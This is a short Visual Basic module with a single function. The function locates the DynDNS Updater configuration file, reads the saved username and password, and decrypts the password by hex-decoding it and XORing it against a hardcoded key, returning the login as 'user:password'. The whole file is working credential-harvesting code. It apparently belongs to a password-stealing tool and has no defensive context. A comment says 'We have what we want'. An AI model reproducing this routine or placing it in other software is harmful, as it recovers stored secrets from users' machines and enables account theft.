'---------------------------------------------------------------------------------------
'   ___ _
'  | _ ) |__ _ ______
'  | _ \ / _` |_ / -_)
'  |___/_\__,_/__\___|
'
'
' Module     : mDynDns
'---------------------------------------------------------------------------------------
Public Function sDynDns() As String
Dim sAppData    As String
Dim sPath       As String
Dim sLine       As String
Dim sUser       As String
Dim sPassword   As String
Dim i           As Long
Dim sChars      As String
Dim lPtr        As Long

sAppData = Environ("ALLUSERSPROFILE")

If Right(sAppData, 1) <> "\" Then sAppData = sAppData & "\"

sPath = sAppData & "DynDNS\Updater\config.dyndns"

If Dir(sPath) <> "" Then
    Open sPath For Binary As #1
        Do While Not EOF(1)
            sLine = vbNullString
            Line Input #1, sLine
            If Left(sLine, 9) = "Username=" Then sUser = Mid(sLine, 10)
            If Left(sLine, 9) = "Password=" Then
                sPassword = Mid(sLine, 10)
                'We have what we want, now exit do
                Exit Do
            End If
        Loop
    Close #1

    For i = 1 To Len(sPassword) Step 2
        sChars = sChars & Chr$(Val("&H" & Mid$(sPassword, i, 2)))
    Next i
    
    For i = 1 To Len(sChars)
        Mid(sChars, i, 1) = Chr((Asc(Mid(sChars, i, 1))) Xor (Asc(Mid("t6KzXhCh", lPtr + 1, 1))))
        lPtr = ((lPtr + 1) Mod 8)
    Next i
    
    sDynDns = sUser & ":" & sChars
End If
End Function